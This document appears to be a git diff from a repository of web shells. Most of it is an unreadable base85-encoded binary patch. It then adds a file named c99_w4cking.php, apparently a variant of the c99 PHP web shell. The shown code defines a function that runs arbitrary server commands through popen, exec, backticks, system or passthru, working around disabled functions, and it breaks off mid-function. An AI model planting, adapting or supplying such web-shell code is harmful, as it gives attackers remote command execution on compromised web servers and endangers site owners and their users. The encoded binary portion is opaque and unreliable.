z^ArEyHIK1ZC)>Nmww#r_p%b+=3GVS$$2KO&*gMmz?Nrzi_9+@Jd4`q@-5l$s@Hh?~ z(ATWmQ~E{B)-2QV4wn>L(Jg2Tc8;rEkyv2kz`9`Pz<UOQ{$gXS>1U$G)9*<sy!Nws z6dld&vDL6UPu}zviyX;rl~^HM`iwIwn{D9rkOP*x!?Wq05JtMsn9YuYy^W=SAA@db zTHn}pQi8qgo;5W`SSxd`XvayP*7*9k`u2+3(Do)12>V$&jCBF3zYTDXQ5oWH4ZX#^ z-j|xl8Tht|RqqboBx4eOmxcFZ3gq}qA0MRb=woxDoOexYK^n|7(~z2Irt!kt_%d>` zjK92W&Jq%2kpo?vFM<(;(iiI`aBeVAA&JmDfBn!*ySs@>?$mc>GkSv1=iJw)WOhpc zn&(oI@m1@5$S|akb2oOhqe`>S4U7^TjvfHZSu^JP0Ym2$5=)+jz4cxo=kClVmQ1dG z{^|SN1~Rf3<jO1gwWs9)yN+wU433=>^Q{uH>H2j-F)z=hW6e5Yw+o7)_ICAbsL1q; zt{yLTsXvofvo7wlNJ~emiZ>T0MN$5yuRfC<*`MOhM^DzhaEV&l8UE@-z7k_{N-y}~ z4KwOj9_sBlTD5U|rLs2&AXw07>jUFhwzMoT=@>{LaL(#dkA0VZ8o8x5x-z~IO(RDl zG?6&%TbRWVJN>wtGqUhCLdBvEyzWZy3-CQS-Qe(ytmpd^U{jh=uy`7BaupWmeZ|w( z<=VY~vhxKUR~6EVu_D#g*4YgTBcqUG9s0*59CSv=;*Xb0sc=a}ONHmYzepzUCv_PE z^`gCXd@9{FJkDRe`V44R7On$02JN|V<Pb>V4YsqEG7F<KZ`#UjmA3zGt2cdgGOg&! zUzIr`gHmQb@ChkU))vp`Rovwuo0Vmy+`(Q${vLg#>M4a`rO|LX3bI5i@ulE!z;CJx z(+heQ0^49$FlusuJr%*LcRVMn9Pz+=__HAgid0AIEO-jU!@UxELBMXr79@xRe0GXn zEa6tW_js5lkCCHjxCMKZX?hDaOPH1$9c8VU7vm0xf%N%o-{#x^11~`OYPz6>3<#X9 zlVuv?;_nNkET9KrEI)b8mw@`_4G-M~7yKb-r+>^Mc45X{Wm<|RXOpkZq9elu1I_0% z+kssMTBPJTLffINu5K7SI(smSC5W~v#PB)Yc%vP}DRXP323_YDR8_>Cldp@I*xRV7 z)Gz-Y#*<R3!5gVp6YV%noR0enu`R|lsH=hVQo3(^>3>amZL8@3Ewmq}l@IxMRG~_E zo7jtCq|ZiS%b&i7rNIPXz3*R(6uhObe-%BzCaP~WQzgMQ{%Bjbx8Bv|p{ThZq1&%? z7=Kgl<DDbII(PjFSYc=%NG%~E_o<nq%H8woH&=&3^+SX`L}TOBy?3Av>)L-@MfTy{ z*S%?7LmB14nBucbSJFwnQG1U#mhY<9-XNQk%j0^)@s47R+udkkXsP43<p*b#qK$G^ z;`!8X2;#d@BeAHs24z2h*(NP1QSfH$(tgfPK7YI+#YX45`-xUW2n!77x2Hx5+2`ck zjPJZG5LWmWGHXboo7taFLa<vYL}%zL>Z7JTStp$+mKq~ee+yp7o<fp}eq-^j$FJH} z_Jx@A^VhQo`$hc|<dn>MG3gg<`4iOqcxBtOp9t?0IW@8Mj5oaBGP5gCQQf}x_{5QG zrCBvuq00!HjAhuzjvV5KJSy{THxKaJ^?N;vxQ@>WDy&IAyt#jio!)Xi1jR%ey2;{N zX?PJd|2*KzTYX{f6Wi3mzEQ1TXd5pkep8PvZ?*{)xfomUNb@?-@E5=k%V*Pi#|srg zi@O~y-@>3E8y6k%I4XcHqO$_Ne&Fm_=akh8ss5R^8JXIkyux;fDVKF$<(BQaok~Gy zP4Nvwtw8n1mXC3#1m~;9$Td&2@dobq{^BEoz=vtg2o;=J8v4OhVQsy<a)pv86)ED3 z?%%d+|Jff!^Irhks$YQf5ua3tiSZf4`S^bGy_5cyE*#+G^k2Bp|9C^q5}UQEim}{R z8^s2eRD?h1Wj;ut5<QX**;yTSaz7U~;MD_3Ry`S{kyF3uc^XOHiucVu<#J7UU!`T` z8M8C|ee!<izy{9&0F%U#M&x4+xdhZ+Dj;XjD5SCQrMab072GmAhP`OC`SIbB)$$W` zU~KFZa*oRH$_p!Euh+17Yop0qJkQ{AfS*_{5<`hhzUTQ4RfjD<^7R;6Mn0(iMJ0`9 z9P(0|?Tlf(>cQifyZ~Qe;#l0|i!^+u<Z=bQOC*BwQkTdSswgzso5xR{3xsUbjaGWr z7UhK>fcJ8sT8yNm_(8q-rcW;db=PraXmTr@lUeqP>1AQ2el%jsjq|RLI%Rw7Sad(i zc)v_%HyZ)T8RzL)5-QuqM=JuplIO;~b&zdG@_Xek@ij8xD38u1S#8v5*Ub*KLXT}) z7uIkHWW#)3L!u4<Zz!Wc@pQ<j?um!RLyh=rV58PwDi9PG7lZG>M<geJbtL<UtII+W zSZXEy%=}C+1S>!E>*mM3&pfJvfJap3>ARBTl^Q8^Uirf?E;@*L4P+%FS`Vo(s!&>( z;r<|xR=%;=0)N~7TOh@2?96Ayf$OSFdo<XVkjN<env0)!0Ay%p9gd)Mnfo~gXI{uA z$VL6@%X}#$g_xJDCrB9EW0Se%BkXw!ah{-{28G-}o90TxAoX`*<h)zLv@CZlrwCEM zV#XpiD$?iuO|J)4R>E5ni40-`x?Z;+Gz&TTLOs9kF^sK2=jVgTv+5G{O{^mqA&+bH z8^?VxcO}W3G@#Xn)_Dt(5Qjc?UQic{I{*bjmEuA(k@z34ZN#>HN@?%3ABNyiVvT2a zZ?RC<jtzAPuRh!?T4uU~t2;+gAFp300|^Kk90Z~xVE`i)P+n{Nwy3=vM<tj!hNvQi zBv$AH`a5;MvzB~@qy0UBXRgnJ>D?%N5+mNTq0UMR8Q03vgs~tqh0LW%aZ$Nk<mVn> znIvt<y-3V9K=K>&?SZELOl!TIJXIv@12+jov1l^)&yYpMtwmRcd0F7}%d<IMsopb3 zJY%d1&pvqtar7TG$NI7JxKuoW9|cO?7}UYJ!NZ`8tbB?99vIZic450dLmmkPn2bmf z{m!lwV6yz~k(3tq=OCkYQoTmJx1*GrcoiPDXG8okFkD3OI_oE)ha&bb8p`K%nK=S` zr1q?6!!tL-!@SST*dn^byuaNS(W*AW#n<1zF9+38nQAwZ#>$q~uj4gHd_J<gmDRZ% zwyLCPJOgItlB~x+8p8}rIeyDix*kw1;YszbQ0iv_YpHEdSZ0m|IZ*|1moc<iJ|x8? zyEr6lP0Xk@gr$%LVTb^js69sAs|(PdO)J%{14r+zM`NeymYq>y<BF(1a&^eTsQE@V zp7~^JLoLPcC$93Q^#^^tSIz}|-TVxA*oq7>x~<){>hmowcFY?+J;-@u!hJbbyxQ<p z1hS*hztcG|1c3Xzo~#Sa7Z~zzg7vL7=)mm&|5Z`JQ|v-C01A~~gm|3Qluk_*<itFj z)7Cc2V%9Ur#TgsJNZbIE?h-vmyYXmXKW{oi0kmDhX>|H2rxIL4CqT3gp~Huw;k-7? z3Qa5l7q3G{4;D$ky%{!tK~#nVK~<*t0>djg-=S{OKYCnM1pL}}(N*b|8zH+XslXQA zjvw*zFwF`9$^V>&U@2#;A^vGb{C2FaAdT2ihJU&Lj6n7zmSmmjKi($wAW3r+C2SZ2 z$pEWobI6U-V|^FlVHpF=_uhFK%J_ShGOnH%_eMjhInD9vjg{8F00bYbaIk&btHq6% zV|X7K*{9%jYe;!)b-tkV64`B?oGkkmY|BhX!tU@1njNFO_CZD|slp;f_j(2MQn}iP z!5`6Tm7Zk&`)kBsk`#U;Ec_)=q1gYnr#gbRe72|DUi=!^Cx9kEc;B}DPMIsso_$f* z{yG9=V*I#P_y={MGEJ%@XDZ{(*Nz6e(u%hs3eG=N9Tq&1)qfiSWOfl$pASn{Jbk-@ z?|`P2@+ejkUq${UO2GL4RohpF#gT4XLm&`>6A122aDr=)K(HW<Bv=E1piR@b1Pcxc z?(QC(V2!(5f_n%Wq;Uy4w`R_rbLRV==gd7b&%HmYtLsnoTUGtmyZ2gaul+h*Qng`< zE3h`FcY-ipJDzcAPlzyfPb5o_?dx+gVSZpD5dY_!o`tsdM0QQ4N_A2Pr99QX8D3Vk z&>=$8udk?dun8}+SYMA4!M`v7_hBAYAdf|>7{(CJ!X|Y;tyd9&C|ROUf3g~Sd@M+> zQMhR`)}On5Fe0(roj4O6m~Q-*qbJ#`(D4a!A@W(B$F#eSp`r!Tx=U<JsReAbDkkLJ zO8xW6_fFR>?CO=_pytZPy6{mFAi>}{2RX{1lg<Y;2FFa~nOn}7D5K)DAe+*NFv)wt zo>MRXkkD6bQ<OkS;r7%uj~b-?N0*K*e#Vus;_l<B70Oc%G4xUJHANK{^D2s?5ToX# zlr<_bQj>yB9rEOQ-x7o!<0m(z9b+;2_TZKq@Nce}(pm|<vAUKDv&Fq#JYD!kRy>_z zc6;5ZJG;2}%-hTOV_L-wT1b%26F(O}%M6kDx*D52ZixVzQ`CH}rp;!?Yu*mdTniJc z;yXxn*kci|xn3SW9^Wv{C({{PeY4inB=xX&*|Wn{7@!1$?({j(dhB#|tit5?rjTg^ zQ6!fcdBkI1f5bW2KoM8zzO@Cn!Gek{3pvklASJDg6a}g1!MxK?PD<s^V0uAWkojvf z@rB=gpr1N#+vb>hDCykHX~BZRxP|agH$E>qKjRV+P&MGaqvUT+=-m|4?j2Zu@?dT| zs23M><$PAEHe_#RkK>5b4J53fUr?N)$JEDt_@5jR$Gm|o^%+}W%aF#XKkNJ~UvD#w zvlZTK??0xOUu1><{!1hS<vU|A7mM*yErz1xJD>-4T8w3?;$+!=PHif<F=F-2nf)^k z>N}sX6u-^s)j=1(9W0|{`$iG95}cF%XJ775PhD6ZZFhD~NlPYGe~KMmw8Of-c0<8S zDqMz57|JkELUb}Lbh$v`5U0I{4(lqk7{z%M(3H@`fyrm3nQ8<?URZZnnJ_ZT+UQh( z&`%vDt@}>#t)EIE)QDHk-2&ZSigZRh6sgUpl(#+pah>Qvh$zPki-6g7-!W;0l~+~o zf?hRvG+0}2HS;A;ugV(rZ&BZ?)Ide?d48`*cYEf)^HO4RV?fshbc=YU4jJQLR#qDT zHK%{bt4CvwG{QyEjZ|kz*f~%5oK(p7IEGhGe{I77pS=(4sCDp6*3sVMe8DoNb8pM( zJXX0>j;DUp(Kn)tBvLa!elh%Be(A7{<YZu2CSRIoYx7YLiq4ckD$;nxV|!UEh=(G< z#Rl`e;`&7~3Fk;zPaN_e+B+wQY%TJwD7T`b-wUVi?I#xNLrL4L>K>TR4g~8*$nl*~ z5$@mDrD13}aT<8o*{4crf|HELcjI}|OInYjr9zBa;<$=^-K3KhAA8}7>p=B%1d(>^ zg$jzi2-ivM5z<z%OSF?=Y8mNN;ZS&Jhqxp@sa3$<y^zm0R+m4!^=gMM!0HnkyXW)F zC{_)w>%$^bC5QaP9}pj{vVRj&jw<DF0$Q;TM6F5ojXg8=u)A+D1mowH;s01C(qTC& zKaAQTyc^~xiKh0Y=JHR5qUf~>*}e9dWzs=+bto+*<f*nqVLRzOZ1(=lP7xwmvAh5K zE%<E@^nZ$|QI{fW-rHHT3jet%UyI?&cZr~Edub%cGKx8f7`U2%38+%!wN>o&s^_a1 zFx`50>BN^)fBA&%=iuELl%D>wQs0Ga`?RPiTf=YeUapFD@Bn>+^d1H{AB$ZM?+dDA z&vLS?HptBlo~<9fu~7$v8ZUg<e149y@pNpbuw=_}29wE&5!LMNy!KnG>;vb^$`Z@5 zvGp@P=u*ha31JKQwHcD=P*W(o<l`kn1AW`N46MgO)jXrBKL;Jq!c0IbCw;1pui&)^ zdN@CKQhr(5`92C&BCiRWxP<fAc%^0T(ADmpkrSF;bpj-5^IBQ!LXaE6A6>*1PEnvb zE@kx6gdE7^UJofPz*?mDH$}9>AYPnE^>VWpF)|w@ZxTg78C}9_DeFG~;@jJx1A6Q3 z9qkH6gp7K?k}oc~mpd5u)F74|s;G?2Xp`DibDr?Sp76kyG_90|hzAKwoVGLy>b{xF zXRFN~%6$CM9q7wS`uaUsUfGqDcB8ni)8BA!)LmgD!=#SQe00&2{XS+2{ldIgTD+T^ zo^3O$?!>o=pCfDQA%L7xp;~MeGoogUVn>v4BD*PUesmLDBUh5X$<0%ndL4uiMS6n2 zBj0pt0CwQ;Nt{S8zFcWzSr&pqjeOtHyS}jZ`maS@n_AabFWu+|4(ArMt}gR{w9Cpa z@GppY9_jue#ryw6K@;Bn8JTBy->x{V&H{^d`#kQq^hQhMRM5<%uUdx5D#C-_#EP)t zzsD1sCU%{%n^%O9Om4$jhoedZ7&Gm^Ou38J-#X!a*oV(3Q<x1qrt_*DF7iZ!>ceE2 z$7%^*UJmmT`y+4&#2l&9qMmyd456opLO-0BwS-BpaGNdzHsd;Yt`?G9%jqQ{IX>Ga z6_rin2N|PYa_slxEz(I$biQi{qS4&2k}cgRKRD|j0Y8GYg`GYLS)Rtij^u_c%5c3m z@$-y-g*l6}Mqd7;u%@-CGH%GiS-d%{NlAuYTE0Nu3U$|k^cs1VmlJ|<_G`Opy8ko; zDi4DwI_LkWhP=^TsQoN);n5wwDgombbG6;}Z)YBF7-T_Ei{DING`ci6+A=lvao%Xi z1-+7Yz9*$aFS4`qj(RM+M08^$aM67bI>9h_fel)P1+w#U*?px#olL7329t@yB6C8$ z-?(1l{mL5tb6{oOI7<9944-2t^XstLfL=!3jOKDHigYw$uB9QYh2~GnOP%UiIkZL7 zt5g^^S(#)&u0n$$aymisy2Mnj9pdsN)HQlukssbp(l-TcAMVf-Vw<b@tV=AKmW$oR zkEts{jazItolc%J=;{GBjGtlE_Rl&3SL0^Y<#2qyyBZxTT=ZITnv)&S%nLMB`68{8 zGl&uRM8-)U*6bjT1dic-F>ZSz^DNZAqVC(_O|w7XPZv0CHkv{t#cl<8-+ok}zh}ER za$I4J!p)b#KeADlQ7FDKf^4q4(909zzI5aWG`auLTuo6KL){Pcd=+8E3i!IUVAUmv z{wNeR6|8d@fw?}b);}Oz?(?PkK#(cKq?Q4e{IFT=DbJbVbgd)}o`au@@Rk02ySE@y z>@$n*M1~yG>&l7N7Tw;gyB42XPmHQf@6Ej5C_^=9hSO>&pO_YAZ4!fWv6))(2C8jH z6U5HmU{A8O&spHB#sH_bXQXmwsv2O<cW_cWyKCNODm>dTDX6c4w3w*7Rq+2<2{NXy zuWeE=N%s{dOf<R|@!qEW5YJxw6tFlAeT9H66xOvhB$xxrt_X$XmoX%!C&J_+2eI`j zt3~;64vcQvw-6;h*LCrzCa=4fzAi(7*ImL3+hYcc)5z&E3)b<B`IRNH9`U9w=0q#T z@M8pSOTatKu%pO9L@}#x!>Wk&N#VR6(fc9Ws)2NiE>iP(>Q@-;j9Gm)?$gx&ih(iu zf)hGn4P~{DLxh<^C15MWY%+EpM8p-X_7F{#9I&g|hP*Mcdt%ZAZtmm2C_3^xf{KRL z0E#uBR=0O&_j$b%tjUsNk@CYz43TeSBB6ByE%KA9N7UqQssVNBdiBIe-bH1!386j@ z0!j`}61TtZ88gxXs)qqF&~A}CwellqV#-EO_+&I^fZYT76y<w43}jIrqyRXlac2G} z=q{ifa}Un`Q+zk|)01F$zJa_I;N772bnbO8*{FUAxqSJe0)X$%(96=!oZUMAwnY9u zz4OTy`6gPJh*51ca>%D%8X@P2BcQsg*IFZ0m+!OiUlz(bmWm$SLht0+I`c}uotd^t z|2u57M)MWtBn%hkF?Mx}9d_hZVm^D*riPi%_%AH=lPpv4%lW;h#d%Yy6Gxm%8<+6v zp>MqhceR4w*G^s*b9Ibr`d?1Dv*pTi&Z%`3wHN@CXQ%t{Qpc7XCH?bzE7Nbg;H5rz z3!5lguIji$gH?Rtm>tl@TSg7IAha4pQ_364<-83p4R&Y%)FG5NOGl~v%ZhIh%F(Tg zh2A!W>A8!->H)IeB~~Bnu`FS>%oB{I2D-g7vJv&an2TF_cpDl;)T>7f?g+@M$n3eh zWTFF9sZx9wsm|q_SgawUK1_)znoMkHN<6Z*bOsCNoHrmQ!+0{x<YR5bL%y=&zM{=T za=T8->WI5|w8#*st07JP3J2wZ2pW|a+f;e2J)CoWj6#2LN$zXS1<u|M89}#aJJIuf z{FgNKmv>o>o^8+hZ7(0pde2IKyG*&td~O!p)o7|wsYo==WNPA<N7v6-RS{RFBTtx! zjI=ybp^6^%NzkVJz)0o)O=7ALsEm-P`UOR%7x?f7j#f*^!3oNztlw{IS$3u>zP1g} zgdVl{TN#qEJ*TxyjRyQI+56ZHA(zgO1-Z5(rp>G`{WwaFn-W-zbdQ<I+iwC*H4F9^ zm`U+19>{$5qS)R1UtNO-W#P1eDc{Q&V^)=N3F4EFLx^cmj3l|CDK?>8xlnu8^AGT{ zEHhoEBoQ@;@Mw=Uo@g4rJJJ5vX5n*<=3R$+49oLgaxxNZKi7Mr?i5w9Rr%^xSbxm| zda6T>xj@WQmcWJMIA>w;j{av?Uw<`P^3P$aKeYMeSV%eBnKamxMcCgl<rqUn|NKIg zw>`7leE5!RV)fca;DdZL6lWKq*d;i;-|dCB7UtML<~|~N6VqAZY;5MthDkWaE4YrM z*o$^w7!)04pZU`D2BcAUz}q_t=ADBVEP`mP%9rxK_db}F*cU&Ma;9;@j5gG@DdotC z5OWwt(xVU2Z2Ty7kP_L$S7kLmtesf8P4Q?_(xq6R?|#DNIfsgZoG*-!XGY5`(`=Zw z;VLs+8mEh(LoX7!9Va%t1^VNT*PZ@?LOhRkH&+ZPogvh(9VX1feAq`#J3@wDv{Mmg zF`xSF3Xl@{;lpu~`N^}!SKBgn=IPn0dmbI&(rNnF*6oee?Oi*n&Scev^A8})OzN&x zvf{@D9h&M9{fmk}Fx?+@^T`wdJ;lpv3_aiLe=ay2=W;yZLI#|KA;((Xiq1+Fl=3S> zMhf2{;Q>sWVe}>qslqsmp360W9Ub7mKns{P-C-sEae@E+74`4-WmT};1!#(Aee|1W z^_F|%GNSjxFxfkaFB>f=gS=$lYL$v^C0f93pCp^uO}Br@Pg2lz=xIRh%m7R0xo`S# zELon{2~uRGj>hbd?+BYjgRm*tgXrSfGd}L#7%t8oVFn}l5nQ^Q2W5KXujyfh_if^~ zm@s;_JJ#&hwKQRTiY9JweuBXZ$B*j>uVwS2G!q=spQ-gnUfh>wyQ$fp^#mOtSKG}v zquCJfL7@mHl`AGfm{@Z65V+5LYyg|{9Jt!w&>8Jhm=XkOI6c0vn-c;h5t8;z1^F(9 zdAapv7n9hkwBC)hh3rAP#JW48&6jGpMKCw$j?N0|C&6%BPG+UbMvqej(|TaMaVWA1 zLOMWqGky<`TbQO+gIWkF!Jr~!n$Wb5&SYkUq!kvS!-+m6{!}8(#l_^s&?%ej|KZz6 zCt+rzOwiUdKZTnjxWjg#5GCEUdgHbBJi5s{+x@MA<)1xF<7<hK#|72n&r)GOa$6ws zDGH#Eo6;Nc&oyW*QK-8_Fv-NNTAK<Nwl5y9E(~LHFi2Oh4HB=1afIAMtQD<LMPyCn z&xA!1P?-5a<P5?;mt5M6a_ek_TA-Mqn^3*YP1SRQ&>C0kXf2hk2AlA9lf~$|61kej z#(?z<FjNynou{Mu&$r!(zdZ0wfxhYkg-NjxvoQYra2ff~0TYJ&zJMLtS6v;mDFUxB zsYy{x)-_#J;K)L)zYh=t4>qg0oWIp<AL<Dvn`TH`hbRme4|>!IAs0Q;o9|wOmYJHO zrxmj5>Ql!cAI$<GPUBDItYgGteNYCTy>`B9D_=k5f>@^5<V>IFmhE(o@tZHLYbR*E zz`Mt-hHAY=CM?my7SsYrj?G$1usur55TV1@;<LBwraT&0o$FMlRCsOSyj!~0ioTN7 zrK@!x=fTzTo9Hgqrm=0VM#79_t0ix~4R~`{f9=7sr;A{Diw=U#pn)>-(qa^!<mKwY zANNDR=x?AxhkEi(qXx>hO}2xiHgaeY4vzlqBhS5Zy3BIBSkr0`=9T%%<@zJOxNJ3$ zub(0p1So&{ZIs^R`z?zML$Q~#jM*8YUOj3;+pnNQYu}97>Q1TMOyjUQuxJQS+RPNy zc2E_i%1E;y{&sc&AhC&O7v4#`N|d0<jmieagUu5y7VqjUwa6I|k7mZ~itGC8CVc$) zu}}K)0ux^0rU~q>k(7m|=<Cjua;VH1S$GX3WzACX!qzBg0?t!mQ*4F@GmQm(8pR%A z$HIA^j|2+~7HumLG4tOzWJ?_tH@M_PACI*$mvQ;LuB{3IR}G0zV&lxvXl6xWF&grA z)A(ch@4;lWCpfGN{Y|wA<`o&A&TH(mx38G&2RuYwr+U24F5>(I3&jHlHDnz|f<89n zGt;uC9XC5&2yk2>k|5puy9#B-j?8mW168vtMBNR5r=Ib|F1V6#SI{0hKeCjDgCypS z)A+e4b=IR^(paA347q5AS#qw&CK4QU(Y{HJ-0soHs{_I(Rv$phg!&ih6!q~lrErD| zq*ez`DmnLVbbs&rTtD&l62@-rR-0sc9i8niYvWk@Uhl|^cb(@e4^h(o4i&;Q_TeeO zy83B>mlg&3?b-xa9S2U)V<eXa-o7DTG7#uA=)g(15W?cGqGRn`Th|<&qI+7gL=y)X zgPwiC7|ThF5c7DY>3aXOibG!d@HjWB)ONe+nCdC`yT`6u!N-ldZ<Gqe?6I5HVG1vg z`sd{&Y7G|*nro+@Ofj;|5FIQv14^+weZn77g^`4YmyJN>qDdicRgiKp`JIH@8uo(E zuVJthvjlOQ;#!CzJQw;bDnD(dCb{!a)UOo30QWg_u&r^GQiHPMqxOlLVTWuTu5q3& z>OrYfW5s`qRQ(A&^jp-OMK<|I#uhc!R~BVu-8l;zgCJ^H$8WbjdpkwO>ifB^%5w5% z%1L!ec(Kr$J<TNf;@IYj%`JN}+x+gWu6KtBBgGZ)<vl5a(ghn4k7j9oYxysNhvNIv z!zctZ^9>7hZnETlpK(Oy%Y0;GTuW<W{SE#J6<l9pWE*fxpHOMKzxdL(M(};jfBygr zEZB)ndL=FMFfSf1NeCfyu215}3DFH%s~UTgPxLzhC8Ii;ufrvV<8-BI8Z|`kg2p^v zEHQ&5xvzJ3akg;xpai>B>bmPE7$ar3Dr6s%x`*xMSN|Fm@R4ht%W_YhZ$@YFvzyWD z$1Q~tO}PIInqB@Lr__l3cd@JB`m?QHP*4blzTqs-dxa3!wx%3!J{1~-$SwGx8LKM3 zMI~P`niQlEZb&%?8tx*wkl)>2s9-o&DG|&Wy*m2gK2=qwJH$Ec=vBb(kxIsyqA*D+ z7p}<+rQ>Ge35&q<D&ELP)-GqeI#QKTm$fFG7tQeIDAFH?R1BrXfQ{4aNAN4g&hAfa zTzPl!{4s)-lsznucFl%f@O6ld2-G-;c@?WCuwe<~?!FO(UJ&Yz!5t-jL3u(s3-SuV zhTs3#4l-SF4>=cm8s17)RasvhGNH}WLDZdJwl?sPo9}wLSxf&YEPZai^33XMXn<`) z;!#BJH`T_&+S*bx2FS<$`=L~s%%4E9KWCz6+>X%t^en=isUK{AS?YybI5N*Oz8*ax zBby(&?b4?vfDY7<6+0BZOfxM7q~F}Y)6@L$D~0%<ZYg7TlJH+pc7gI>(T$Q%)qm(} zj<TCOQEoPo*QQQZAAbHA8m(x9c&G}gFtW<GF4FwY;x9NQ>N{j2Orv*VpwyMGB9Vz1 zZ_FO9y3B7HGZ%J5)bUXv4z3yaeTXo#T($1>R&rQ-{I2a&yFBH~>sLj>oF~HS?PHqX zBGRuORyh_d>FGfXURGTS(OoLX<ZhAmiz#*hNF~K~=AN;-Gt+p&9(GyIY*!_7j0?u` zox#H0zUtl`Ni<O7#1H|LOurG5929+MHQWP4g#>?9Q2Kh-$xCDP%Th<dvXV8bgoD&@ z67_o{o*s?=0mSm*A?iF<5_!s4la4eIGjtA%)9kz7h?jd(xCDqA1E5SBfm1a$c4hn= zzL8aoDT{3>%NMFMT=4aJosG5-g)f62_OleQ(V4{!z-SGp0v7rWl}(YlDx#*khTl!o zRP6H2Wk)F(eMDp9FF&qfmf>IBVA!9k%ijAHBmQm67$4lZvwbo;5Bq4J9@T45wd<>< zmGIH*{Q47}$B#1l<AJyV-o8y1Iwa)>^w_X_QfuNxQvLMfwUnWsIE^bC6E-<6qw+XL z(;HAsU%w42SNnvA_b__Yi@j1eY}^WqVf(Yfn2pA`*Yg+e^;loq3g~0laq~1a2ycgY zAajr2oOkUIs8|c|AY!jO`4FvNBo5lP<zL^rU{>?wjSC3dtkx!~HYp{`nFMAT?TZKT zTCtBvT!5oZT51q=E|l@+VcCq6_t*;pHzuZg0Y&!=X^Epf_X*e3>TEv-`BY{82Vrum zHQ`dEYUj9O6lA~{#->+OPblxWDck%gP;SU91S!1eHYV;zp3If(jhkYqWa3C&vSxbl z2;KU$%LF544ct-#2*IuQ=|hZ@mKBm;_ZebQogpCwOM6a&iO7U{hov6c^t)7Yo)>up zzC!!vm)dnGWaMLyc8LN*HKU)FZ3xXAjX*aR*?EhWT?z2_56R_6{4X`V0l35(<alp< zqc8&1mNmtoK)927EF+2fWInV+DU}rv_#H0{b1OS!%hCFl*KKOFGSp>k-p#FNf{!J> zJS9@8b`#?rE_J!-JD@Fl3o|pRo8ZLxswCdhpsUCFSXRG@+h9;Z7~ScadGPIf$(doC zTw*^$p75KT9+|Zbkb|6;8*REyBhba>!MM^8W$L^2>u}&N)*282(_04%`CCuJW<kd` z)G<$*<=(BaWf=?EpwS&-wz5IKpTlvHg@`KXGLlN5<x3_~7&kF?^DUykZ)tQb3QULB zCqk^De9aKP?)j(|LltG<7Q+hWC2_uwWnNc}NMVsPd$(%-iW>027IiHTed!k4BkH3x zBC$-W7^80MRJqWq?iaY&<*?64Z9kp<eK+*o`_UAiaE1w+6k~q9082TSeN^t=Hwd2k znR1bP7!I$wYZ{<yK9E84L}&zeu;W$%rssLdc!QVd(sx1iswRh2O6%PVKu7}ydrseW zRUQeXPmN~7K#^}5p}4CGG+<_^F11cPdfH=<Gl+1Kc4mckX4OGk%T<ssi3?d!ABU5) zDIFe}T?Di322*<Z2?+i;g2Y*J=AW1ZZ@oqF8cEv{UbN3>31a$}{!8m`!hk41vzxyU z1Nxkau)@uQ9+*c9_6c*6_h0%5GgI3~$*)*Z>=>mgH_vc!*yMe*X7qWEGj2peNYL#+ z+d6ZVSi<)wz@#|Z<o`6LB}INQINOexc6Gw)*Y|_v+`SGPI)maatFizz=_B&b_sl;^ zFn)ssQCR*-m02z3zu+s5>sY8^r5dm9IWJ2!Ilh&mi61VhceULCJeCz!LHn29CCnE) znmJ`{aSURDq-5$7CwYlO#|svTZQ<W;t?~_TAL^toEP2oTc%4(u_s^5WMQ%KZ7zykp zcDmVSI{>@ddzmdUlYY_&sePKbQ8)I~o3ia{av?Z!gsrFvQ$!Vi>ovtFgdy8tU{3z( zu8#eyX4i&sbNfA)fy+;^-er=m)ODxD;YtI&J;n8zOdo#agnXI&ZHX)&U)_g#+PcTa zH7Jx75athZ4Eh>#HOcs4kfHUR38cgFps{mvjG=9HOY<srAYEd)K%68>mv#T@NfUnY zid$!(oI+%f9XR^j7_L5{c1@FB*daL=vtidWEup>M>Cj!(F;**I*g0>W?*WGibm}cZ zc~!sk-<)6>QIg@vy%VNE5Q{&(bp_6&x3KYZ;bzqPukdEtn7Q8la$R?wkAFcKo|(MD z=8&MCV2JlqNQh=<q#~imcupN|0UKD{*>c*JkLR@gDmg+c@h-D#zAYf{>)k>TIn9-Y zTtH`t8og@15?cCgB-st3_*^o4k5c2XL*v2qi^a%mV?&V_LYD7BMV&UxTrvi@S^<DU zE12#ttg?Svt})f;<%*k^P-UQ+FrGH>uwPo_f*Mzb>az@+(xVy&dYtmY`wBmv@4?Ex z@~cQ3w2Mv`inm@5K}p`mdf;Xu_wevFC$$`*)Bb&#bFJD}wC5lEhZf&&C5KsvY#+!& zFy|WlR8_%xRpMt$lWINo&d<JfHoa8@aWK+^;6HEQ-d020lS9jTk}5S{{g7Qowk~M@ zb~Rlnt1i8LfR?v=7@uZEy<kDc-lABM&Bl`RMRZzpZS(Am#0}5Q55i1YlD3r=!3nJ+ zczpP&A-tyPqF}Y5lZVO=UyU{2UdYVxUPxQnLJzcj=kb>({cjP`gbu32JSe79599XB zHMLxT8J6Vtn}GKZYL)-f<F8G%L7b#2h!@?}<et3)TTm2l(a}F>K>s+7ctVwCfQ)al zdtZ?ANkgS}HfcZ*Xvzfu>;K@X|KImRj*ozi=W`FPteNw|JyNbzQx6f44D$?!7bY57 zM7)&2;wNb?CJX_V0FldATXgPdv6m@9At+UU59%Jt@!_1W1WdOVXuhtdh%hFja+C`Z z$cbRKdX<3hh`dbhg2PSjenA1MvU^^0Qr<}m(w-C4-<h{Ye)VL}Gx(wBHGHUgq5`Li z_+}Mn7UHLh=043E%%6F7l@a(%zAB%3>0se3RKg|U&Oqz@YsHPCTM<7m8qwlqq@P0n z{g1tNlJvSHyP0Hr@YCH2Y=~a31`{I9N2hAw*gZy3GTe<?)M_Nh-f=5{c}ZgFCI+}u SwZhVW;lch%88-eebN>aEhsKxy literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99_w4cking/c99_w4cking.php b/php/PHPshell/c99_w4cking/c99_w4cking.php new file mode 100644 index 0000000..7948a5b --- /dev/null +++ b/php/PHPshell/c99_w4cking/c99_w4cking.php @@ -0,0 +1,2831 @@ +<?php +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = 